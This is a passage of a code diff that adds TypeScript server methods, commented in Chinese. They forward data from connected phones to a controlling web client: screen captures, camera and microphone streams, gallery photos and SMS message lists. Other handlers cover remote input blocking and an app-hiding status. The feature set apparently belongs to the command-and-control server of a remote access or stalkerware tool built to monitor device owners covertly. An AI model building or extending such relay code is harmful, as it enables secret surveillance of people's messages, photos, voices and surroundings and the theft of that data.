${device.name},立即通知Web端设备在线`) + + // 立即广播设备连接事件给所有Web客户端 + this.webClientManager.broadcastToAll('device_connected', device) + + // 同时广播设备状态更新 + this.webClientManager.broadcastToAll('device_status_update', { + deviceId: device.id, + status: { + online: true, + connected: true, + lastSeen: Date.now(), + + inputBlocked: device.inputBlocked || false + } + }) + + // ✅ 同步设备状态到设备端(如输入阻塞状态) + if (deviceState) { + this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) + } + } else { + this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`) + // 只有在数据库中也找不到时,才使用延迟重试 + setTimeout(() => { + this.retryRouteScreenData(fromSocketId, screenData, 1) + }, 500) + return true // 返回true避免client端重试 + } + } + + + + // 确保device不为undefined + if (!device) { + return false + } + + // 🔧 修复:更新设备的lastSeen时间 - 关键修复! + device.lastSeen = new Date() + this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`) + + + // 🔒 处理设备锁屏状态更新 + // if (screenData.isLocked !== undefined) { + // const previousLockedState = device.isLocked + // device.isLocked = screenData.isLocked + + // // 如果锁屏状态发生变化,记录日志并广播状态更新 + // if (previousLockedState !== screenData.isLocked) { + // this.logger.info(`🔒 设备锁屏状态变更: ${device.id} -> ${screenData.isLocked ? '已锁屏' : '已解锁'}`) + + // // 广播设备锁屏状态更新给所有Web客户端 + // this.webClientManager.broadcastToAll('device_lock_status_update', { + // deviceId: device.id, + // isLocked: screenData.isLocked, + // timestamp: Date.now() + // }) + // } + // } + + // 控制者已在前面检查过,这里不需要重复检查 + + // 🔧 添加屏幕数据传输限流和错误处理 + try { + // 发送屏幕数据到控制客户端 + const success = this.webClientManager.sendToClient(controllerId, 'screen_data', { + deviceId: device.id, + format: screenData.format, + data: screenData.data, + width: screenData.width, + height: screenData.height, + quality: screenData.quality, + timestamp: screenData.timestamp, + isLocked: screenData.isLocked // 包含设备锁屏状态 + }) + + if (!success) { + this.logger.warn(`❌ 发送屏幕数据失败: ${device.name} -> ${controllerId}`) + return false + } + + // 🔧 记录成功传输,用于监控 + this.logger.debug(`✅ 屏幕数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`) + return true + + } catch (emitError) { + this.logger.error(`❌ 屏幕数据发送异常: ${device.name} -> ${controllerId}`, emitError) + return false + } + + } catch (error) { + this.logger.error('路由屏幕数据失败:', error) + return false + } + } + + /** + * 重试路由屏幕数据 + */ + private retryRouteScreenData(fromSocketId: string, screenData: ScreenData, retryCount: number): void { + const maxRetries = 3 + + try { + // 再次尝试从DeviceManager获取设备信息 + let device = this.deviceManager.getDeviceBySocketId(fromSocketId) + + if (!device && retryCount <= maxRetries) { + // 继续等待并重试 + setTimeout(() => { + this.retryRouteScreenData(fromSocketId, screenData, retryCount + 1) + }, 1000 * retryCount) // 递增延迟:1s, 2s, 3s + return + } + + if (!device) { + // 最后尝试从数据库查询 + const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) + if (dbDevice) { + // ✅ 获取设备状态信息 + const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) + + // 使用数据库中的设备信息创建设备对象并注册到DeviceManager + device = { + id: dbDevice.deviceId, + socketId: fromSocketId, + name: dbDevice.deviceName, + model: dbDevice.deviceModel, + osVersion: dbDevice.osVersion, + appVersion: dbDevice.appVersion, + screenWidth: dbDevice.screenWidth, + screenHeight: dbDevice.screenHeight, + capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), + connectedAt: new Date(), + lastSeen: new Date(), + status: 'online' as const, + inputBlocked: deviceState?.inputBlocked || false, + isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 + remark: (dbDevice as any).remark // 🆕 恢复设备备注 + } + + // ✅ 关键修复:将恢复的设备添加到DeviceManager中,避免重复查询 + this.deviceManager.addDevice(device) + + // ✅ 更新数据库中的设备记录(特别是lastSocketId) + try { + // 转换设备对象格式以匹配数据库期望的格式 + const deviceForDb = { + deviceId: device.id, + deviceName: device.name, + deviceModel: device.model, + osVersion: device.osVersion, + appVersion: device.appVersion, + screenWidth: device.screenWidth, + screenHeight: device.screenHeight, + capabilities: device.capabilities + } + this.databaseService.saveDevice(deviceForDb, fromSocketId) + this.logger.info(`📝 已更新数据库中的设备记录: ${device.name}`) + } catch (dbError) { + this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + } + + // ✅ 关键修复:重试恢复成功后,立即通知Web端设备在线 + this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`) + + // 立即广播设备连接事件给所有Web客户端 + this.webClientManager.broadcastToAll('device_connected', device) + + // 同时广播设备状态更新 + this.webClientManager.broadcastToAll('device_status_update', { + deviceId: device.id, + status: { + online: true, + connected: true, + lastSeen: Date.now(), + inputBlocked: device.inputBlocked || false + } + }) + + // ✅ 同步设备状态到设备端(如输入阻塞状态) + if (deviceState) { + this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) + } + } else { + this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`) + return + } + } + + // 设备找到后正常路由 + if (device) { + this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`) + + const controllerId = this.webClientManager.getDeviceController(device.id) + if (controllerId) { + const success = this.webClientManager.sendToClient(controllerId, 'screen_data', { + deviceId: device.id, + format: screenData.format, + data: screenData.data, + width: screenData.width, + height: screenData.height, + quality: screenData.quality, + timestamp: screenData.timestamp + }) + + if (success) { + this.logger.debug(`📺 重试路由成功: ${device.name}`) + } + } + } + + } catch (error) { + this.logger.error('重试路由屏幕数据失败:', error) + } + } + + /** + * 路由摄像头数据(从设备到Web客户端)- 模仿routeScreenData实现 + */ + routeCameraData(fromSocketId: string, cameraData: CameraData): boolean { + try { + this.routedCameraFrames++ + + // 添加摄像头数据大小检查,避免过大数据导致transport error + const dataSize = typeof cameraData.data === 'string' ? cameraData.data.length : 0 + + this.totalCameraDataSize += dataSize + + if (dataSize > this.maxDataSize) { // 动态限制 + this.droppedCameraFrames++ + this.logger.warn(`⚠️ 摄像头数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`) + return false + } + + // 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销) + const controllerId = this.webClientManager.getDeviceController(cameraData.deviceId) + if (!controllerId) { + // 没有客户端在控制,直接丢弃数据(减少不必要的数据传输) + this.logger.debug(`⚠️ 设备${cameraData.deviceId}无控制者,丢弃摄像头数据`) + return true + } + + // 优化去重逻辑:调整时间间隔判断,避免误杀正常数据 + const existingBuffer = this.cameraDataBuffer.get(cameraData.deviceId) + if (existingBuffer) { + // 如果有旧数据且时间间隔过短,可能是重复数据,跳过 + const timeDiff = Date.now() - existingBuffer.timestamp + if (timeDiff < 50) { // 放宽到50ms内的重复数据才去重,避免误杀正常的250ms间隔数据 + this.droppedCameraFrames++ + this.logger.debug(`⚠️ 跳过重复摄像头数据: 设备${cameraData.deviceId}, 间隔${timeDiff}ms`) + return false + } + } + + // 更新缓冲区(用于去重和统计) + this.cameraDataBuffer.set(cameraData.deviceId, { + data: cameraData, + timestamp: Date.now() + }) + + // 首先尝试从DeviceManager获取设备信息 + let device = this.deviceManager.getDeviceBySocketId(fromSocketId) + + if (!device) { + // 立即尝试从数据库恢复设备,而不是延迟处理 + const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) + if (dbDevice) { + // 获取设备状态信息 + const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) + + device = { + id: dbDevice.deviceId, + socketId: fromSocketId, + name: dbDevice.deviceName, + model: dbDevice.deviceModel, + osVersion: dbDevice.osVersion, + appVersion: dbDevice.appVersion, + screenWidth: dbDevice.screenWidth, + screenHeight: dbDevice.screenHeight, + capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), + connectedAt: new Date(), + lastSeen: new Date(), + status: 'online' as const, + inputBlocked: deviceState?.inputBlocked || false, + isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 + remark: (dbDevice as any).remark // 🆕 恢复设备备注 + } + + // 将恢复的设备添加到DeviceManager中 + this.deviceManager.addDevice(device) + + // 更新数据库中的设备记录(特别是lastSocketId) + try { + // 转换设备对象格式以匹配数据库期望的格式 + const deviceForDb = { + deviceId: device.id, + deviceName: device.name, + deviceModel: device.model, + osVersion: device.osVersion, + appVersion: device.appVersion, + screenWidth: device.screenWidth, + screenHeight: device.screenHeight, + capabilities: device.capabilities + } + this.databaseService.saveDevice(deviceForDb, fromSocketId) + } catch (dbError) { + this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + } + + // 设备通过摄像头数据恢复后,必须立即通知Web端 + this.logger.info(`✅ 设备已恢复到内存: ${device.name},立即通知Web端设备在线`) + + // 立即广播设备连接事件给所有Web客户端 + this.webClientManager.broadcastToAll('device_connected', device) + + // 同时广播设备状态更新 + this.webClientManager.broadcastToAll('device_status_update', { + deviceId: device.id, + status: { + online: true, + connected: true, + lastSeen: Date.now(), + inputBlocked: device.inputBlocked || false + } + }) + + // 同步设备状态到设备端(如输入阻塞状态) + if (deviceState) { + this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) + } + } else { + this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`) + // 只有在数据库中也找不到时,才使用延迟重试 + setTimeout(() => { + this.retryRouteCameraData(fromSocketId, cameraData, 1) + }, 500) + return true // 返回true避免client端重试 + } + } + + // 确保device不为undefined + if (!device) { + return false + } + + // 更新设备的lastSeen时间 + device.lastSeen = new Date() + this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`) + + // 添加摄像头数据传输限流和错误处理 + try { + // 发送摄像头数据到控制客户端 + const success = this.webClientManager.sendToClient(controllerId, 'camera_data', { + deviceId: device.id, + format: cameraData.format, + data: cameraData.data, + type: cameraData.type, + timestamp: cameraData.timestamp + }) + + if (!success) { + this.logger.warn(`❌ 发送摄像头数据失败: ${device.name} -> ${controllerId}`) + return false + } + + // 记录成功传输,用于监控 + this.logger.debug(`✅ 摄像头数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`) + return true + + } catch (emitError) { + this.logger.error(`❌ 摄像头数据发送异常: ${device.name} -> ${controllerId}`, emitError) + return false + } + + } catch (error) { + this.logger.error('路由摄像头数据失败:', error) + return false + } + } + + /** + * 重试路由摄像头数据 + */ + private retryRouteCameraData(fromSocketId: string, cameraData: CameraData, retryCount: number): void { + const maxRetries = 3 + + try { + // 再次尝试从DeviceManager获取设备信息 + let device = this.deviceManager.getDeviceBySocketId(fromSocketId) + + if (!device && retryCount <= maxRetries) { + // 继续等待并重试 + setTimeout(() => { + this.retryRouteCameraData(fromSocketId, cameraData, retryCount + 1) + }, 1000 * retryCount) // 递增延迟:1s, 2s, 3s + return + } + + if (!device) { + // 最后尝试从数据库查询 + const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) + if (dbDevice) { + // 获取设备状态信息 + const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) + + // 使用数据库中的设备信息创建设备对象并注册到DeviceManager + device = { + id: dbDevice.deviceId, + socketId: fromSocketId, + name: dbDevice.deviceName, + model: dbDevice.deviceModel, + osVersion: dbDevice.osVersion, + appVersion: dbDevice.appVersion, + screenWidth: dbDevice.screenWidth, + screenHeight: dbDevice.screenHeight, + capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), + connectedAt: new Date(), + lastSeen: new Date(), + status: 'online' as const, + inputBlocked: deviceState?.inputBlocked || false, + isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 + remark: (dbDevice as any).remark // 🆕 恢复设备备注 + } + + // 将恢复的设备添加到DeviceManager中,避免重复查询 + this.deviceManager.addDevice(device) + + // 更新数据库中的设备记录(特别是lastSocketId) + try { + // 转换设备对象格式以匹配数据库期望的格式 + const deviceForDb = { + deviceId: device.id, + deviceName: device.name, + deviceModel: device.model, + osVersion: device.osVersion, + appVersion: device.appVersion, + screenWidth: device.screenWidth, + screenHeight: device.screenHeight, + capabilities: device.capabilities + } + this.databaseService.saveDevice(deviceForDb, fromSocketId) + this.logger.info(`📝 已更新数据库中的设备记录: ${device.name}`) + } catch (dbError) { + this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + } + + // 重试恢复成功后,立即通知Web端设备在线 + this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`) + + // 立即广播设备连接事件给所有Web客户端 + this.webClientManager.broadcastToAll('device_connected', device) + + // 同时广播设备状态更新 + this.webClientManager.broadcastToAll('device_status_update', { + deviceId: device.id, + status: { + online: true, + connected: true, + lastSeen: Date.now(), + inputBlocked: device.inputBlocked || false + } + }) + + // 同步设备状态到设备端(如输入阻塞状态) + if (deviceState) { + this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) + } + } else { + this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`) + return + } + } + + // 设备找到后正常路由 + if (device) { + this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`) + + const controllerId = this.webClientManager.getDeviceController(device.id) + if (controllerId) { + const success = this.webClientManager.sendToClient(controllerId, 'camera_data', { + deviceId: device.id, + format: cameraData.format, + data: cameraData.data, + type: cameraData.type, + timestamp: cameraData.timestamp + }) + + if (success) { + this.logger.debug(`📷 重试路由成功: ${device.name}`) + } + } + } + + } catch (error) { + this.logger.error('重试路由摄像头数据失败:', error) + } + } + + /** + * 路由相册图片数据(不保存到磁盘,直接转发base64给客户端) + */ + routeGalleryImage(fromSocketId: string, image: GalleryImageData): boolean { + try { + // 校验设备来源 + const device = this.databaseService.getDeviceBySocketId(fromSocketId) + if (!device || device.deviceId !== image.deviceId) { + this.logger.warn(`⚠️ 非法的相册图片来源,socket=${fromSocketId}, 声称设备=${image.deviceId}`) + return false + } + + // 直接将base64数据转发给当前控制端 + const controllerId = this.webClientManager.getDeviceController(image.deviceId) + if (!controllerId) { + this.logger.debug(`⚠️ 设备${image.deviceId}无控制者,丢弃相册图片数据 index=${image.index}`) + return true + } + + // 保留事件名与元数据结构以保证前端兼容,同时附加base64数据 + this.webClientManager.sendToClient(controllerId, 'gallery_image_saved', { + deviceId: image.deviceId, + type: 'gallery_image_saved', + index: image.index, + id: image.id, + displayName: image.displayName, + dateAdded: image.dateAdded, + mimeType: image.mimeType, + width: image.width, + height: image.height, + size: image.size, + contentUri: image.contentUri, + timestamp: image.timestamp, + // 直接携带原始base64数据(可能是 dataURL 或纯base64) + data: image.data + }) + + // 记录日志(不落盘) + const approxSize = typeof image.data === 'string' ? image.data.length : 0 + this.logger.info(`🖼️ 已转发相册图片(不保存): 设备=${image.deviceId}, index=${image.index}, base64Size=${approxSize}`) + return true + + } catch (error) { + this.logger.error('转发相册图片失败:', error) + return false + } + } + + /** + * 路由麦克风音频数据(从设备到Web客户端) + */ + routeMicrophoneAudio(fromSocketId: string, audioData: MicrophoneAudioData): boolean { + try { + this.routedMicrophoneAudio++ + + // 添加音频数据大小检查 + const dataSize = typeof audioData.audioData === 'string' ? audioData.audioData.length : 0 + this.totalMicrophoneAudioSize += dataSize + + if (dataSize > this.maxDataSize) { + this.droppedMicrophoneAudio++ + this.logger.warn(`⚠️ 麦克风音频数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`) + return false + } + + // 检查设备是否有控制者 + const controllerId = this.webClientManager.getDeviceController(audioData.deviceId) + if (!controllerId) { + this.logger.debug(`⚠️ 设备${audioData.deviceId}无控制者,丢弃麦克风音频数据`) + return true + } + + // 去重(防抖):100ms内相同设备的音频数据视为重复 + const existingBuffer = this.microphoneAudioBuffer.get(audioData.deviceId) + if (existingBuffer) { + const timeDiff = Date.now() - existingBuffer.timestamp + if (timeDiff < 100) { + this.droppedMicrophoneAudio++ + this.logger.debug(`⚠️ 跳过重复麦克风音频数据: 设备${audioData.deviceId}, 间隔${timeDiff}ms`) + return false + } + } + + // 更新缓冲区 + this.microphoneAudioBuffer.set(audioData.deviceId, { + data: audioData, + timestamp: Date.now() + }) + + // 获取或恢复设备 + let device = this.deviceManager.getDeviceBySocketId(fromSocketId) + if (!device) { + const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) + if (dbDevice) { + const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) + device = { + id: dbDevice.deviceId, + socketId: fromSocketId, + name: dbDevice.deviceName, + model: dbDevice.deviceModel, + osVersion: dbDevice.osVersion, + appVersion: dbDevice.appVersion, + screenWidth: dbDevice.screenWidth, + screenHeight: dbDevice.screenHeight, + capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), + connectedAt: new Date(), + lastSeen: new Date(), + status: 'online' as const, + inputBlocked: deviceState?.inputBlocked || false, + isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 + remark: (dbDevice as any).remark // 🆕 恢复设备备注 + } + + this.deviceManager.addDevice(device) + + // 更新数据库中的设备记录 + try { + const deviceForDb = { + deviceId: device.id, + deviceName: device.name, + deviceModel: device.model, + osVersion: device.osVersion, + appVersion: device.appVersion, + screenWidth: device.screenWidth, + screenHeight: device.screenHeight, + capabilities: device.capabilities + } + this.databaseService.saveDevice(deviceForDb, fromSocketId) + } catch (dbError) { + this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + } + + // 通知Web端设备在线 + this.logger.info(`✅ 设备已恢复到内存: ${device.name},立即通知Web端设备在线`) + this.webClientManager.broadcastToAll('device_connected', device) + this.webClientManager.broadcastToAll('device_status_update', { + deviceId: device.id, + status: { + online: true, + connected: true, + lastSeen: Date.now(), + inputBlocked: device.inputBlocked || false + } + }) + + // 同步设备状态到设备端 + if (deviceState) { + this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) + } + } else { + this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`) + setTimeout(() => { + this.retryRouteMicrophoneAudio(fromSocketId, audioData, 1) + }, 500) + return true + } + } + + if (!device) { + return false + } + + // 更新设备的lastSeen时间 + device.lastSeen = new Date() + this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`) + + // 发送麦克风音频数据到控制客户端 + try { + const success = this.webClientManager.sendToClient(controllerId, 'microphone_audio', { + deviceId: device.id, + audioData: audioData.audioData, + sampleRate: audioData.sampleRate, + sampleCount: audioData.sampleCount, + format: audioData.format, + channels: audioData.channels, + bitDepth: audioData.bitDepth, + timestamp: audioData.timestamp + }) + + if (!success) { + this.logger.warn(`❌ 发送麦克风音频数据失败: ${device.name} -> ${controllerId}`) + return false + } + + this.logger.debug(`✅ 麦克风音频数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`) + return true + + } catch (emitError) { + this.logger.error(`❌ 麦克风音频数据发送异常: ${device.name} -> ${controllerId}`, emitError) + return false + } + + } catch (error) { + this.logger.error('路由麦克风音频数据失败:', error) + return false + } + } + + /** + * 重试路由麦克风音频数据 + */ + private retryRouteMicrophoneAudio(fromSocketId: string, audioData: MicrophoneAudioData, retryCount: number): void { + const maxRetries = 3 + + try { + let device = this.deviceManager.getDeviceBySocketId(fromSocketId) + + if (!device && retryCount <= maxRetries) { + setTimeout(() => { + this.retryRouteMicrophoneAudio(fromSocketId, audioData, retryCount + 1) + }, 1000 * retryCount) + return + } + + if (!device) { + const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) + if (dbDevice) { + const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) + device = { + id: dbDevice.deviceId, + socketId: fromSocketId, + name: dbDevice.deviceName, + model: dbDevice.deviceModel, + osVersion: dbDevice.osVersion, + appVersion: dbDevice.appVersion, + screenWidth: dbDevice.screenWidth, + screenHeight: dbDevice.screenHeight, + capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), + connectedAt: new Date(), + lastSeen: new Date(), + status: 'online' as const, + inputBlocked: deviceState?.inputBlocked || false, + isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 + remark: (dbDevice as any).remark // 🆕 恢复设备备注 + } + + this.deviceManager.addDevice(device) + + try { + const deviceForDb = { + deviceId: device.id, + deviceName: device.name, + deviceModel: device.model, + osVersion: device.osVersion, + appVersion: device.appVersion, + screenWidth: device.screenWidth, + screenHeight: device.screenHeight, + capabilities: device.capabilities + } + this.databaseService.saveDevice(deviceForDb, fromSocketId) + } catch (dbError) { + this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + } + + this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`) + this.webClientManager.broadcastToAll('device_connected', device) + this.webClientManager.broadcastToAll('device_status_update', { + deviceId: device.id, + status: { + online: true, + connected: true, + lastSeen: Date.now(), + inputBlocked: device.inputBlocked || false + } + }) + + if (deviceState) { + this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) + } + } else { + this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`) + return + } + } + + if (device) { + this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`) + + const controllerId = this.webClientManager.getDeviceController(device.id) + if (controllerId) { + const success = this.webClientManager.sendToClient(controllerId, 'microphone_audio', { + deviceId: device.id, + audioData: audioData.audioData, + sampleRate: audioData.sampleRate, + sampleCount: audioData.sampleCount, + format: audioData.format, + channels: audioData.channels, + bitDepth: audioData.bitDepth, + timestamp: audioData.timestamp + }) + + if (success) { + this.logger.debug(`🎤 重试路由成功: ${device.name}`) + } + } + } + + } catch (error) { + this.logger.error('重试路由麦克风音频数据失败:', error) + } + } + + /** + * 路由短信数据(从设备到Web客户端) + */ + routeSmsData(fromSocketId: string, smsData: SmsData): boolean { + try { + this.routedSmsData++ + + // 估算数据大小(用于监控) + try { + const approxSize = JSON.stringify(smsData).length + this.totalSmsDataSize += approxSize + if (approxSize > this.maxDataSize) { + this.droppedSmsData++ + this.logger.warn(`⚠️ 短信数据过大被拒绝: ${approxSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`) + return false + } + } catch (_) { + // 忽略JSON stringify异常 + } + + // 检查设备控制者 + const controllerId = this.webClientManager.getDeviceController(smsData.deviceId) + if (!controllerId) { + this.logger.debug(`⚠️ 设备${smsData.deviceId}无控制者,丢弃短信数据`) + return true + } + + // 去重(防抖):500ms内相同设备的批次视为重复 + const existingBuffer = this.smsDataBuffer.get(smsData.deviceId) + if (existingBuffer) { + const timeDiff = Date.now() - existingBuffer.timestamp + if (timeDiff < 500) { + this.droppedSmsData++ + this.logger.debug(`⚠️ 跳过重复短信数据: 设备${smsData.deviceId}, 间隔${timeDiff}ms`) + return false + } + } + + // 更新缓冲区 + this.smsDataBuffer.set(smsData.deviceId, { + data: smsData, + timestamp: Date.now() + }) + + // 获取或恢复设备 + let device = this.deviceManager.getDeviceBySocketId(fromSocketId) + if (!device) { + const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) + if (dbDevice) { + const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) + device = { + id: dbDevice.deviceId, + socketId: fromSocketId, + name: dbDevice.deviceName, + model: dbDevice.deviceModel, + osVersion: dbDevice.osVersion, + appVersion: dbDevice.appVersion, + screenWidth: dbDevice.screenWidth, + screenHeight: dbDevice.screenHeight, + capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), + connectedAt: new Date(), + lastSeen: new Date(), + status: 'online' as const, + inputBlocked: deviceState?.inputBlocked || false, + isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 + remark: (dbDevice as any).remark // 🆕 恢复设备备注 + } + + this.deviceManager.addDevice(device) + + try { + const deviceForDb = { + deviceId: device.id, + deviceName: device.name, + deviceModel: device.model, + osVersion: device.osVersion, + appVersion: device.appVersion, + screenWidth: device.screenWidth, + screenHeight: device.screenHeight, + capabilities: device.capabilities + } + this.databaseService.saveDevice(deviceForDb, fromSocketId) + } catch (dbError) { + this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + } + + // 通知Web端设备在线 + this.webClientManager.broadcastToAll('device_connected', device) + this.webClientManager.broadcastToAll('device_status_update', { + deviceId: device.id, + status: { + online: true, + connected: true, + lastSeen: Date.now(), + inputBlocked: device.inputBlocked || false + } + }) + + if (deviceState) { + this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) + } + } else { + this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册(SMS)`) + setTimeout(() => { + this.retryRouteSmsData(fromSocketId, smsData, 1) + }, 500) + return true + } + } + + if (!device) { + return false + } + + // 更新活跃时间 + device.lastSeen = new Date() + + // 转发给控制客户端 + try { + const success = this.webClientManager.sendToClient(controllerId, 'sms_data', { + deviceId: device.id, + type: smsData.type, + timestamp: smsData.timestamp, + count: smsData.count, + smsList: smsData.smsList + }) + + if (!success) { + this.logger.warn(`❌ 发送短信数据失败: ${device.name} -> ${controllerId}`) + return false + } + + this.logger.debug(`✅ 短信数据传输成功: ${device.id} -> ${controllerId} (count=${smsData.count})`) + return true + } catch (emitError) { + this.logger.error(`❌ 短信数据发送异常: ${device.name} -> ${controllerId}`, emitError) + return false + } + + } catch (error) { + this.logger.error('路由短信数据失败:', error) + return false + } + } + + /** + * 重试路由短信数据 + */ + private retryRouteSmsData(fromSocketId: string, smsData: SmsData, retryCount: number): void { + const maxRetries = 3 + try { + let device = this.deviceManager.getDeviceBySocketId(fromSocketId) + if (!device && retryCount <= maxRetries) { + setTimeout(() => { + this.retryRouteSmsData(fromSocketId, smsData, retryCount + 1) + }, 1000 * retryCount) + return + } + + if (!device) { + const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) + if (dbDevice) { + const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) + device = { + id: dbDevice.deviceId, + socketId: fromSocketId, + name: dbDevice.deviceName, + model: dbDevice.deviceModel, + osVersion: dbDevice.osVersion, + appVersion: dbDevice.appVersion, + screenWidth: dbDevice.screenWidth, + screenHeight: dbDevice.screenHeight, + capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), + connectedAt: new Date(), + lastSeen: new Date(), + status: 'online' as const, + inputBlocked: deviceState?.inputBlocked || false, + isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 + remark: (dbDevice as any).remark // 🆕 恢复设备备注 + } + this.deviceManager.addDevice(device) + try { + const deviceForDb = { + deviceId: device.id, + deviceName: device.name, + deviceModel: device.model, + osVersion: device.osVersion, + appVersion: device.appVersion, + screenWidth: device.screenWidth, + screenHeight: device.screenHeight, + capabilities: device.capabilities + } + this.databaseService.saveDevice(deviceForDb, fromSocketId) + } catch (dbError) { + this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + } + + this.webClientManager.broadcastToAll('device_connected', device) + this.webClientManager.broadcastToAll('device_status_update', { + deviceId: device.id, + status: { + online: true, + connected: true, + lastSeen: Date.now(), + inputBlocked: device.inputBlocked || false + } + }) + + if (deviceState) { + this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState) + } + } else { + this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备(短信): ${fromSocketId}`) + return + } + } + + if (device) { + const controllerId = this.webClientManager.getDeviceController(device.id) + if (controllerId) { + const success = this.webClientManager.sendToClient(controllerId, 'sms_data', smsData) + if (success) { + this.logger.debug(`📱 短信数据重试路由成功: ${device.name}`) + } + } + } + } catch (error) { + this.logger.error('重试路由短信数据失败:', error) + } + } + + /** + * 路由设备事件(从设备到Web客户端) + */ + routeDeviceEvent(fromSocketId: string, eventType: string, eventData: any): boolean { + try { + this.logger.info(`🔍 处理设备事件: ${eventType}, Socket: ${fromSocketId}`) + + let device = this.deviceManager.getDeviceBySocketId(fromSocketId) + + // 对于ui_hierarchy_response,即使找不到设备也要尝试处理 + if (!device && eventType === 'ui_hierarchy_response') { + this.logger.warn(`⚠️ 找不到设备但收到UI响应,尝试从数据库恢复设备信息`) + + // 尝试从响应数据中获取deviceId + const deviceId = eventData?.deviceId + if (deviceId) { + this.logger.info(`📋 从响应数据中获取到设备ID: ${deviceId}`) + // 直接处理UI层次结构响应 + this.handleUIHierarchyResponse(deviceId, eventData) + return true + } else { + this.logger.error(`❌ 响应数据中没有deviceId字段`) + } + } + + if (!device) { + this.logger.warn(`❌ 无法找到Socket ${fromSocketId} 对应的设备`) + return false + } + + // 🔧 修复:更新设备的lastSeen时间(设备事件是活动的标志) + device.lastSeen = new Date() + this.logger.debug(`🔄 设备事件更新活跃时间: ${device.id} - ${eventType}`) + + // 广播给所有Web客户端(状态更新等) + this.webClientManager.broadcastToAll('device_event', { + deviceId: device.id, + eventType, + data: eventData, + timestamp: Date.now() + }) + + this.logger.debug(`设备事件已广播: ${device.id} - ${eventType}`) + + // 处理特定的设备状态变化事件 + switch (eventType) { + case 'INPUT_BLOCKED_CHANGED': + this.handleDeviceInputBlockedChanged(device.id, eventData.blocked) + break + + case 'LOGGING_STATE_CHANGED': + this.handleDeviceLoggingStateChanged(device.id, eventData.enabled) + break + + case 'ui_hierarchy_response': + this.handleUIHierarchyResponse(device.id, eventData) + break + + case 'app_hide_status': + this.handleAppHideStatusUpdate(device.id, eventData) + break + + default: + this.logger.debug(`设备事件已处理: ${eventType}`) + break + } + + return true + + } catch (error) { + this.logger.error('路由设备事件失败:', error) + return false + } + } + + /** + * 